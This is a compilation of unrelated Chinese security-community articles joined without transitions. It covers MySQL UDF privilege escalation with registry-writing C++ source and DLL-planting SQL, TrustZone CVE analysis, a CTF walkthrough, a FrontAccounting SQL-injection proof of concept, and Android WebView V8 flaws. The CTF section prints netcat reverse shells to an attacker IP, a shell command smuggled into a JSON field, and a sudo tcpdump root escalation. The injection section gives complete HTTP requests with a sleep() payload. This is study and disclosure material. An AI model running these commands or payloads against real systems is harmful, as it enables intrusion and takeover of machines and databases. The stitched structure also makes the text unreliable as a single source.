UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
* * 注册表写入
使用方式：
# 创建regread函数
CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c++.dll";
# 执行regread函数
select regwrite("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","test","www.baidu.com");
# 注销regread这个函数
Drop function regwrite;
CPP源码如下：
#include <winsock.h>
#include <mysql.h>
#include <stdio.h>
#include <windows.h>
//-------- extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{
//判断参数是否正确,三个参数必须是字符串
if (args->arg_type[0] == STRING_RESULT && // 主键
args->arg_type[1] == STRING_RESULT && // 键项
args->arg_type[2] == STRING_RESULT && // 键
args->arg_type[3] == STRING_RESULT // 写入的值
)
{
return 0;
}
else {
strcpy(
message
, "Expected exactly four string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* regwrite(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
HKEY hRoot;
// 判断根键
if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
hRoot = HKEY_LOCAL_MACHINE;
else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CLASSES_ROOT;
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
hRoot = HKEY_USERS;
else
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
*length = (unsigned long)strlen(initid->ptr);
return initid->ptr;
}
HKEY hKey;
DWORD dwType = REG_SZ;
// 打开注册表键，不存在则创建它
// 判断根键存不存在
// szSubKey编码转换 char转wchar
int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t* szSubKey = new wchar_t[szSubKey_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len);
szSubKey[szSubKey_len] = '\0';
size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (lRet != ERROR_SUCCESS)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
*length = (unsigned long)strlen(initid->ptr);
return initid->ptr;
}
// 修改注册表键值，没有则创建它
// ValueName修改的键项转换 char转wchar
int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
wchar_t* ValueName = new wchar_t[ValueName_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
ValueName[ValueName_len] = '\0';
//// 注册表键值编码转换 char转wchar
int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
wchar_t* data = new wchar_t[data_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
data[data_len] = '\0';
// 计算宽字节的长度
DWORD iLen = (DWORD)wcslen(data);
//注册表键值修改
lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
if (lRet != ERROR_SUCCESS)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]);
*length = (unsigned long)strlen(initid->ptr);
return initid->ptr;
}
RegCloseKey(hKey);
// 当*is_null被设置为1时，返回值为NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
sprintf(result, "success");
result[iLen] = 0x00;
*length = strlen(result);
}
// 返回结果
return result;
}
extern "C" __declspec(dllexport)void regwrite_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
## 3、UDF加载方法
UDF有两种加载方式，一种是修改修改MySQL配置文件。第二种则是将UDF放置在MySQL指定的插件目录中加载。
### 3.1 修改MySQL配置文件
另一种方法是用插件目录编写一个新的MySQL配置文件并将其传递给mysqld。
* 启动参数配置
// 通过mysqld更改plugin的目录位置
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// 编写一个新的mysql配置文件，并通过–defaults-file参数将其传递给mysqld
mysqld.exe --defaults-file=C:\temp\my.ini
* my.ini配置
[mysqld]
plugin_dir = C:\\temp\\plugins\\
### 3.2 新建插件目录
show variables like 'plugin_dir'; # 查看路径
select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # 新建目录lib
select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; # 新建目录plugin
### 3.3 导出UDF文件置扩展目录
* load_file函数
* * load_file函数支持网络路径，如果将DLL复制到网络共享中，则可以直接加载它并写入磁盘。
select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
* 用一个十六进制编码的字符串将整个DLL文件写入磁盘。
// 转换为hex函数
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 导入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
* 创建一个表并将二进制数据插入到十六进制编码流中，其中的二进制数据用update语句来连接。
create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
* 直接在磁盘上将文件从网络共享加载到第三种方法创建的表中，使用“load data infile”语句在本地加载。像上图所示将文件转换为十六进制，并在写入磁盘时取消编辑。
load data infile '\\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data);
select unhex(data) from temp into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';
* 使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。
# 转换为base64
select to_base64(load_file('D:\\udf.dll'));
# base64导出为DLL
select from_base64("Base64编码") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"；
## 4、Mysql弱口令
### 4.1 暴力破解程序
* 工具：hydra
* CPP
用链表实现的MYSQL、MSSQL和oracle密码暴破C程序
<http://blog.51cto.com/foxhack/35604>
* Python
<https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py>
<https://www.waitalone.cn/python-mysql-mult.html>
* Go
<https://github.com/netxfly/x-crack>
### 4.2 MySQL口令加密解密
## 5、WEB组合利用
### 5.1 后门方法
导出Mof
### 5.2 WEB渗透测试扩展
php探针、PHPMyadmin
## 6、取证分析
// 查看系统信息
select @@version_compile_os,@@version_compile_machine,@@plugin_dir;
// 查看加载的函数
select * from mysql.func;
## 7、参考
Mysql函数扩展之UDF开发
<https://blog.csdn.net/albertsh/article/details/78567661>
VS2015配置C/C++-MySQL开发环境
<https://blog.csdn.net/daso_csdn/article/details/54646859>
MySQL UDF（自定义函数）
<https://www.cnblogs.com/raker/p/4377343.html>
MySQL UDF的调试方式 - debugview
<https://blog.csdn.net/swotcoder/article/details/18527>
详详详解MySQL UDF执行命令
<http://www.360doc.cn/article/31784658_733287732.html>
利用MySQL UDF进行的一次渗透测试
<https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a>
24.4.2.2 UDF Calling Sequences for Aggregate Functions
<https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html>
windows下编写mysql UDF函数的失败经历，与ubuntu下的成功编译经历
<https://blog.csdn.net/watch_ch/article/details/54015948>
开源项目
<https://github.com/mysqludf/lib_mysqludf_sys>
## 8、UDF写注册表源码 | 社区文章 |
作者: **启明星辰ADLab**
#### TrustZone介绍
##### TrustZone技术介绍
由于智能手机操作系统存在较多的攻击面，手机存储的密钥，证书及支付应用程序的敏感数据容易被病毒和木马窃取和攻击。
为了解决智能手机不安全的执行环境上完成支付问题，OMAP组织在2006年提出了tee（可信执行环境）的概念。
2012年ARM公司推出了TrustZone安全解决方案，旨在提供独立的安全操作系统及硬件虚拟化技术，为手机安全支付的过程中提供可信的执行环境。
TrustZone技术在2014年以后发展迅猛，在目前市面上大多数智能手机都带有TrustZone技术的芯片和操作系统。
目前TrustZone的产业链相当广，包括IP、Soc/CPU、Tee OS、Tee Applet及基于Tee的App，
相关厂家包括ARM、高通、三星、华为、苹果、MTK、微信、支付宝、银行等。
##### TrustZone技术架构
TrustZone技术是软件和硬件结合的解决方案。TrustZone从硬件安全扩展来提供资源隔离，软件提供基本的安全服务和接口。TrustZone技术将软硬件资源隔离成两个环境，分别为安全世界和普通世界。
###### TrustZone硬件架构
TrustZone的硬件架构方面主要体现在内核虚拟化、内存隔离、外设/总线隔离技术、中断隔离技术。
内核虚拟化:
内核虚拟化是指通过CPU中虚拟出两个内核，并且把安全世界的OS运行在内核0中，普通世界的OS运行在内核1中。两个OS独立运行在不同的虚拟内核中,通过时间片进行两个内核间切换执行。
外设/总线隔离技术：通过总线扩展了AWPROT（总线写事务控制信号）和ARPROT总线读事务信号）。当低电平时为安全世界的总线读写控制信号，当高电平时为普通世界的读写控制信号。
内存隔离技术:TrustZone技术采用两个MMU,把安全世界和普通世界的内存管理隔离开。
中断隔离技术:为了区分安全世界和普通世界的中断源，ARM设计了FIQ和IRQ两种不同的中断源，设计者可以将FIQ用于安全世界的中断源，将IRQ用于普通世界的中断源。
###### TrustZone软件架构
TrustZone有别于普通世界的智能手机操作系统，TrustZone在安全世界里采用独立的安全操作系统、独立的运行在安全操作系统的安全应用TA(Tee
Applet)、独立的设备驱动。
###### TrustZone的攻击面
虽然TrustZone技术在软硬件上做了安全改进，但是TrustZone也存在一定的攻击面，这些攻击面主要体现在TrustZone的硬件方面和软件方面。
TrustZone的硬件方面的攻击面主要在于TrustZone的硬件架构只是在现有的手机设备上做了安全扩展，而不是采用全新的安全芯片。这就意味着TrustZone在抵抗硬件攻击及侧信道攻击方面存在较大的问题。
TrustZone的软件方面的攻击面主要在于TrustZone与普通世界的驱动接口方面及运行在TrustZone环境的安全应用TA存在安全漏洞。
这些年TrustZone软件实现方面的的漏洞也不断被发现。2014年Rosenberg发现了高通芯片
QSee驱动的问题。2015年申迪发现了华为手机的Tee驱动的安全问题。
#### 我们的一些研究成果
近期启明星辰ADLab对国内知名电信设备企业的手机TrustZone的实现进行了研究。该手机厂家的TrustZone为自主实现，在该手机厂家的TrustZone操作系统中预置了task_storage（安全存储）、task_secboot(安全引导)、task_keymaster
(密钥管理)、task_HDCP(高频宽数字内容保护)、task_efuse (微电熔丝)、task_crypto(加密服务) 多个安全应用。其中
task_storage安全存储提供TrustZone下的文件管理服务。
在该厂家手机中文件保密柜、指纹服务、微信支付、天际通等App应用都使用到了task_storage安全存储的TrustZone应用(TA)。
通过对该手机厂家的TrustZone的研究，我们发现了两个严重的安全问题。通过这两个安全问题攻击者可以完全地攻击TrustZone的安全存储应用，获得保存在TrustZone中的文件加密密码。
##### 文件保密柜应用介绍
文件保密柜是某手机厂家在手机内置的文件加密功能，通过该功能用户可以将手机上的文件进行加密存储,加密密钥保存在TrustZone中。在解密文件的时候，用户需要进行密码验证或指纹验证成功后才能进行文件的解密。
###### 文件保密柜核心流程
创建密码流程：文件保密柜应用把用户新建的文件保密柜的密码，利用生成随机数，Salt进行多次加密迭代运算，生成密码验证hash保存在数据库中。另外文件保密柜调用TrustZone中的安全存储应用将密码保存在安全文件系统中。
密码验证流程：文件保密柜应用把用户输入的密钥，进行多次迭代加密，并且与保存在数据库里的密码验证hash进行验证，密码验证通过后进入文件解密流程。
文件解密流程：文件保密柜调用TrustZone中的安全存储应用对保存在安全文件系统中的密文态密钥进行解密。文件保密柜应用用解密后的密钥，对文件进行解密得到解密后的文件。
下图列出了文件保密柜的调用流程。
文件柜App应用调用Teed服务,Teed服务调用tz_driver驱动与内核进行通信。tz_driver驱动通过smc指令切换到TrustZone执行环境，
TrustZone根据应用Id,调用具体的TA(Tee applet)完成加密密钥的存储和读取。
我们发现的安全问题现在已经获得厂家的CVE编号,这两个CVE编号分别为`CVE-2017-2723`和`CVE-2017-2715`,下面我们将分别对这两个安全漏洞进行介绍。
##### CVE-2017-2723
###### 漏洞概述
TrustZone中的安全存储应用对文件保密柜应用的验证存在漏洞，攻击者可以绕过这些验证，调用TrustZone中的安全存储应用，获得解密后的密钥。
###### 问题代码
TrustZone中task_storage应用的`checkClientSignature`函数主要功能为对调用者的合法性进行验证，如果验证成功，则返回0。
在下面的代码中，我们可以看到：
（1）如果应用进程的uid<=1000且进程名的长度为4时，`checkClientSignature`返回验证成功。如果攻击者安装一个名字长度为4的恶意程序（如abcd），并且以system用户的权限运行该程序,通过该程序调用TrustZone中的安全存储应用，则可以读取明文的文件加密密码。
（2）
如果应用的名称为com.xxx.xxx时，且签名为特定的签名内容时，`checkClientSignature`返回验证成功。如果攻击者伪造相同的进程名和签名，则可以读取相关的安全存储的密码信息。
###### 漏洞利用
主要的攻击方法如上图所示，我们通过构造一个恶意的Tee服务和一个恶意的应用。恶意的应用提供攻击的操作界面，而恶意的Tee服务利用文件保密柜应用的签名信息直接和内核的Tee驱动进行通信，从而绕过了合法的Tee服务对文件保密柜应用的验证。
（1）主要调用流程
（2）TEEC_InitializeContext函数代码
（3）tee_get_app_cert函数主要代码
##### CVE-2017-2715
###### 漏洞概述
文件保密柜中的`libtrustzone_storage.so`存在密钥信息泄露问题，非法攻击者可以利用该漏洞获得保存在手机TrustZone中的加密密码长度，从而利用该漏洞进行密码暴力破解或其他攻击。
文件管理应用的保密柜密钥数据库msb.db安全设计不当，非法攻击者可以访问该数据库的Salt、加密用的随机数、密码验证hash值，从而可以暴力破解Trustzone中的密码。
###### 问题代码
问题函数：`android_util_TZStorage_getSize`
问题代码:
int __fastcall android_util_TZStorage_getSize(int a1, int a2, int a3)
{
…
v4 = TEEC_FInfo(a3, &v6, &v7);
if ( v4 )
_android_log_print(6, 0, "android_util_TZStorage_getSize, res = %d\n", v4);
//密码长度信息泄露
_android_log_print(4, 0, "android_util_TZStorage_getSize, fd = %d, length = %d\n", v3, v7);
return v7;
}
###### 漏洞利用
主要的攻击方法如上图所示。我们通过在手机上安装一个恶意编写的软件，通过该软件读取文件保密柜应用泄露的密码长度，同时通过读取文件保密柜应用数据库中的Salt，用于密码比对的Hash值。利用这些值我们可以快速地进行暴力破解文件保密柜中的密码。
主要的攻击代码如下：
#### 结束语
虽然 TrustZone 从软硬件架构上隔离出安全执行环境及非安全执行环境，有效地防止了安全数据被非法窃取的攻击。但是 TrustZone
在各个厂家具体实现时仍然引入一些新的安全问题。我们认为厂家除了需要关注 TrustZone 接口驱动及TA安全实现外，还需要关注应用的安全设计或者是
TrustZone 的API是否存在信息泄露等安全隐患。这些应用设计如果缺少必要安全防范，将导致 TrustZone 的防护失效，从而引发新的安全问题。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
原文：<https://resources.infosecinstitute.com/temple-of-doom-1-ctf-walkthrough-part-2/>
在本文中，我们将继续解决由0katz公布到VulnHub网站上的Temple of Doom CTF挑战题。
本文是这个CTF系列的第二部分。在上一篇文章中，我们获得了目标计算机的shell，不过我们的访问权限是受限的。根据作者对于相关VM的描述，该CTF的目标是获得目标机器的root访问权限。在本文中，我们将学习如何在目标计算机上获取root访问权限并读取相应的旗标文件。如果您还没读过上一篇的话，建议先到这里熟悉一下。
请注意：对于本文推荐下载的虚拟机，都是在Oracle的Virtual Box环境下运行的。其中，我们使用Kali
Linux作为迎接该CTF挑战的攻击方机器。需要声明的是，文中所述的技术仅限于教育目的，否则的话，责任自负。
我们将使用192.168.1.9作为目标机器的IP地址，而将192.168.1.45作为攻击者的IP地址。请注意，这些IP地址在您的网络上可能有所不同，因为它们是由DHCP动态分配的。
**通关过程**
* * *
在上一篇文章中，我们已经获得了目标机器的shell访问权限，可惜的是，不是系统的root权限。
在使用具有有限权限的shell探索了一阵目标机器后，我们在目标系统又找到了一个用户。这个用户被称为“fireman”。准确来说，我们是通过分析“/etc/password”文件找到的，具体见下图中高亮显示的部分。
使用的命令： cat /etc/passwd
之后，我们尝试着访问该用户的home目录，遗憾的是，系统不允许当前用户访问该目录。由此看来，“fireman”用户账户下面可能还运行了其他进程。通过显示进程列表，分析当前运行的进程，我们找到了一个以fireman身份运行的程序包，具体如下图所示。
使用的命令： ps –aux | grep fireman
在上图高亮显示的区域中，可以看到有一个名为“ss-manager”的服务，它是以sudo用户身份运行的。借助于Google搜索，我们发现该服务属于“shadowsocks-libev”程序包，至于其用途，通常用作多用户管理和流量统计的控制器，具体如下图所示。
当我们通过Github深入了解该服务器之后，通过网络搜索到了这项服务的漏洞利用程序：Google搜索页面给出的第一个结果就让我乐开了花！它来自于Exploit-DB，我们一眼就可以看出，该软件包易受远程代码执行的影响，具体如下图所示。
阅读上述漏洞利用代码后，我们发现它更像是成功利用该服务需要遵循的具体流程。这样的话，我们只需按照相应的步骤进行操作，具体如下图所示。
使用的命令：
* python -c ‘import pty;pty.spawn(“/bin/bash”)’
* nc -u 127.0.0.1 8839
* add: {“server_port”:8003, “password”:”test”, “method”:”||nc 192.168.1.45 4545 -e /bin/bash||”}
* nc -lvp 4545
在上图中，第一个命令实际上是个Python命令，其作用是获取目标机器上的稳定shell。接下来，我们使用NetCat命令与目标计算机上运行的代理进行交互。之后，我们又运行另一个命令，以fireman用户的身份反向连接目标机器。
在按顺序执行上述命令后，我们就得到了目标机器的另一个反向shell，不过，这次获得的是fireman用户对目标机器的访问权限，具体如下图所示。
之后，我们还得再次运行相应的Python命令，以在目标机器上获取稳定的shell。之后，可以再次运行sudo
-l命令，看看这次用户身份是否为fireman，不过，我们得到了一个错误消息。
值得庆幸的是，这个错误消息提供了一些有用的线索，指出fireman用户可以通过sudo运行哪些命令，具体如下图所示。
从上面的屏幕截图中可以看出，有一些命令可以作为sudo用户（作为root用户）运行。所以，我们不妨借助tcpdump来获取系统的root访问权限。
为此，首先需要创建一个简单的文本文件，其中存放建立反向连接的命令，具体如下图所示。
使用的命令：
* cd /tmp
* echo “nc -e /bin/bash 192.168.1.45 5566”> shell
* chmod 777 shell
* ls -l shell
下面，让我们来了解一下上图中各条命令的作用。在第一条命令中，我们将当前目录改为“tmp”目录。然后，创建了一个名为"shell"的文件，其中存放的是用NetCat建立反向连接shell所需的命令。如果成功执行，该命令将向端口5656发送一个反向连接。在下一条命令中，我们为创建的文件授予了可执行权限，并通过“ls”命令对其权限进行了确认。
之后，我们打开另一个终端来监听5566端口的反向连接。现在，让我们运行另一个命令，通过tcpdump打开这个shell文件，这样就能获得目标机器的root访问权限了。
使用的命令：
* sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
* nc -lvp 5566
从上面截图的高亮显示区域可以看到，我们运行的是带有sudo的tcpdump命令，并执行了shell文件，最终得到了目标机器的、具有root权限的反向连接shell。现在我们终于搞定了系统的root访问权限！至此，只需读取旗标文件就大功告成了。
好了，本次CTF的挑战已经顺利通关了，感谢各位耐心读完本文!
**参考资源**
* * *
[Command Execution](https://www.exploit-db.com/exploits/43006/ "Command
Execution"), Exploit-DB
[ss-manager(1)](https://github.com/shadowsocks/shadowsocks-libev/blob/master/doc/ss-manager.asciidoc "ss-manager\(1\)"), GitHub | 社区文章 |
最近审计了一个开源会计系统Frontaccounting erp，水了一个CVE。绕过的过程还是比较有趣的。
**environment** : docker mattrayner/lamp:latest-1604
### 0x00 Description
Frontaccounting 使用 db_escape() 过滤参数. 但是一些参数没有使用 db_escape().
先介绍下过滤函数：
includes/session.inc:484
此处ENT_QUOTES - 编码双引号和单引号。因此，在输入时单双引号全部会被实体编码。
includes/db/class.reflines_db.inc:156
若设置变量 $reference 如 ‘XXXXXX\’. 单引号可逃逸，此处我们可以在 $type 变量中实现注入。
includes/references.inc:365
admin/db/voiding_db.inc:127
admin/void_transaction.php:316
admin/void_transaction.php:352
这路 $type 变量可控
跟进 $reference 变量
get_systype_db_info()
之后我发现一处给表 grn_batch 插入的地方.
purchasing/includes/db/grn_db.inc:170
purchasing/includes/db/grn_db.inc:99
purchasing/po_receive_items.php:254
所以变量 $reference 可控。
### 0x01 Bypass：
1. PHP
switch ($type)
变量 $type 如 '25' 和 '+25dasdsadasda' 是相同的。
2. Mysql
[如P师傅博客](https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html)，Mysql在string和整形转换时候有以下的问题。
这里补充一点，'25' 和'25dasdasdasd'= '+25dasdasdasd'
因此整形和字符串可以相加
3. Mysql截断可导致转意符被吃掉。
### 0x02 POC
在insert时存在使用$reference查询的情况，设置 ‘001/2018\’ 注入是会报错。 但是 ‘001/2018\’ 不会 .
在数据库中$reference变量存储为60字节, 设置$reference变量为61字节如
001100422222222222222222222201700422222222222222212222/2018\\\。在数据库里面就会是
001100422222222222222222222201700422222222222222212222/2018\。这样完成了$reference变量的注入。
此处注入复线使用的是 po_entry_items.php 中的insert方法, 不是上文中提到的 po_receive_items.php 中的方法
POST /FA1/purchasing/po_entry_items.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/FA1/purchasing/po_entry_items.php?NewGRN=Yes
Content-Type: application/octet-stream
Content-Length: 343
Connection: close
Cookie: FA83118f2a9a8a1d154096028879fc64db=6qb35uj2b4sv26em7d6f5i7qv3; FA40bcd2a463d0cb4ad9c1f4e4e156e4ab=i96j3h5r6hl16smme7tl0t3ie3
supplier_id=1&OrderDate=12/31/2018&ref=001100422222222222222222222201700422222222222222212222/2018\\&supp_ref=&dimension=0&StkLocation=DEF&delivery_address=N/A&_stock_id_edit=102&stock_id=101&qty=1&price=200.00&Comments=&Commit=Process%20GRN&_focus=supplier_id&_modified=0&_confirmed=&_token=YNHuXfwn6xEZH7dUBa196wxx&_random=1078360.0430200463
database:
POST /FA1//admin/void_transaction.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/FA1//admin/void_transaction.php
Content-Type: application/octet-stream
Content-Length: 261
Connection: close
Cookie: FA83118f2a9a8a1d154096028879fc64db=3h40pcjb2t5apf0rlcblj1ahv6; FA40bcd2a463d0cb4ad9c1f4e4e156e4ab=1e2v29h21gv4efc5g2fr0fs0q0
filterType=%2b25%2c25)%20or%20sleep(1)%23&FromTransNo=1&ToTransNo=999999&date_=12/31/2018&memo_=&trans_no=3&selected_id=3&ConfirmVoiding=%u7EE7%u7EED%u8FDB%u884C&_focus=filterType&_modified=0&_confirmed=&_token=p6ySb5gc0z5JLK4DvaC9owxx&_random=578301.3136013072
最终执行的sql语句为：
SELECT * FROM 0_reflines WHERE trans_type='+25,25) or sleep(1)#' AND CHAR_LENGTH(`prefix`) AND LEFT('20170042222222222222222222220170042222222222222221222222221\', CHAR_LENGTH(`prefix`)) = `prefix` UNION SELECT * FROM 0_reflines WHERE trans_type='+25,25) and sleep(1)#' AND `prefix`=''
[目前漏洞官方已经修复](https://github.com/FrontAccountingERP/FA/commit/2bcdab793e406bb5a44d2c4e079ec7cc2a1aa857)
### 0x03 Summary
'+' 真有趣！ | 社区文章 |
# 国内自有内核手机浏览器安全情况分析
|
##### 译文声明
本文是翻译文章，文章来源：显危镜
原文地址：<http://appscan.360.cn/blog/?p=76>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**0x01 背景**
WebView是Android系统提供能显示网页的系统控件，它是一个特殊的View，同时它也是一个ViewGroup可以有很多其他子View。在Android
4.4以下(不包含4.4)系统WebView底层实现是采用WebKit(http://www.webkit.org/)内核，出于安全和性能的考虑，在Android
4.4及其以上Google 采用了chromium(http://www.chromium.org/)作为系统WebView的底层内核支持。
在这一变化中Android 提供的WebView相关API并没有发生大变化，在4.4上也兼容低版本的API并且引进了少部分API，在目前最新Android
系统版本5.0上基于chromium 37， Webkit JavaScript引起采用WebCore Javascript， 在Android
4.4上换成了V8能直接提升JavaScript性能，但是由于Android系统使用的webview组件远远落后于chromium官方版本,导致android系统默认的webview组件存在了大量Google
chrome遗留的历史安全问题，比如各种形式的UXSS以及远程代码执行漏洞。
Google官方为了解决这样的问题，在Android 5.0 及其以后，Webview组件已经不再是内置不可更新的系统组件，可以直接通过Google
play store下载Android System Webview安装包的形式进行更新，能在不更新Android系统的情况下，直接更新WebView内核。
Chromium编译包含了webview组件，如下图：
Chrome官方会不定期发布安全公告以及版本的安全更新，如下图：
我们随机选取了一部三星note 4手机升级到官方最新Android 5.1.1版本情况下，可以发现默认系统Android System
Webview大版本是43，远远落后于官方最新版本。
**
**
**0x02 Mobile Pwn2own 2015的 chrome远程代码执行漏洞**
360手机卫士安全研究员龚广2015年Pwn2Own比赛使用的cve-2015-6764漏洞攻克了N6手机，这个漏洞是V8引擎的json序列化相关函数实现没有对数组类型进行安全的二次检查，造成了内存越界访问，龚广发表的exploit对该漏洞进行了完美的利用，可以直接通过网页javascript在内存中运行任意的so文件。
我们验证了一下cve-2015-6764漏洞，可以成功攻击一些使用了低版本chromium
webview组件的app，运行shellcode绑定端口。测试视频如下：
**
**
**0x03 国内自有内核手机浏览器漏洞**
目前国内的主流浏览器APP大多数都没有使用系统的webview组件，而是使用了定制的chromium
webview组件，俗称自有内核浏览器，比如QQ浏览器、UC浏览器、搜狗浏览器、百度浏览器、360浏览器。以及大规模使用了定制浏览器内核服务的APP，如微信等海量的主流APP使用了腾讯代号为X5的浏览服务。
### 使用了过低版本的chromium定制内核的APP会存在大量未知的UXSS漏洞
在UXSS方面，随机抽取几个自有内核手机浏览器测试发现会有大量的uxss漏洞尚未修复，如下图所示：
### 使用了过低版本的chromium定制内核的APP会存在未知的远程代码执行漏洞，如近日 “BadKernel”漏洞
近日，360手机卫士阿尔法团队再次发现Chrome
V8引擎“BadKernel”漏洞。该漏洞存在于V8引擎的历史版本中，远程攻击者可利用该漏洞对使用受影响引擎的产品进行远程攻击。
通过此漏洞攻击者可实现微信远程代码执行，获取微信的完全控制权，危及用户朋友圈、好友信息、聊天记录甚至是微信钱包，可使上亿微信用户受到影响，危害巨大。由于腾讯浏览服务提供的X5
SDK中的X5 内核集成了Chrome V8引擎，该引擎受上述漏洞影响。根据腾讯浏览服务介绍，使用X5
SDK的微信、手机QQ、QQ空间、京东、58同城、搜狐视频、新浪新闻等Android手机APP均可能受该漏洞影响。
**利用该漏洞在微信 Android APP上实现反弹shell的视频如下：**
<http://weibo.com/p/2304445bee6e775e81ad8b0486eaa519ea223b>
该问题影响的版本是使用V8引擎3.20至4.2版本的厂商。影响Android 4.4.4至5.1版本系统，以及使用相关组件和定制组件的APP。
Android 5.0受影响的V8代码位置：
<https://android.googlesource.com/platform/external/chromium_org/v8/+/lollipop-cts-release/src/object-observe.js#318>
<https://android.googlesource.com/platform/external/chromium_org/v8/+/lollipop-cts-release/src/messages.js#75>
漏洞代码分别为：
throw MakeTypeError(“observe_accept_invalid”);
observe_invalid_accept: [“Object.observe accept must be an array of strings.”]
在chromium浏览器v8内核4.4修复版本为：
<https://chromium.googlesource.com/v8/v8.git/+/4.4.1/src/object-observe.js#274>
<https://chromium.googlesource.com/v8/v8.git/+/4.4.1/src/messages.js#87>
修复后的代码分别为：
throw MakeTypeError(“observe_invalid_accept”);
observe_invalid_accept: [“Third argument to Object.observe must be an array of strings.”],
漏洞检测代码：
<script>
var kMessages;
Object.prototype.__defineGetter__(“observe_accept_invalid”,function() {kMessages=this});
try{Object.observe({},function(){},1)}catch(e){}
delete Object.prototype[“observe_accept_invalid”];
alert(kMessages);
</script>
可在微信任意聊天对话框中输入“//gettbs”（不含引号），如果tbsCoreVersion大于36555则说明该漏洞已经修复。浏览器如果访问如下网页，若能取到kMessages对象，弹出object则存在漏洞，若弹出undefined则不存在漏洞。
如受漏洞影响，请及时关注厂商发布的补丁。
在漏洞未修复前，建议用户不要点击不可信链接。
**
**
**0x04 行业影响情况**
通过对360显危镜数据中抽样调查，发现使用定制Chromium 自有内核的APP高达430款，其中不乏用户量过亿的主流APP，安全风险主要分布行业如下:
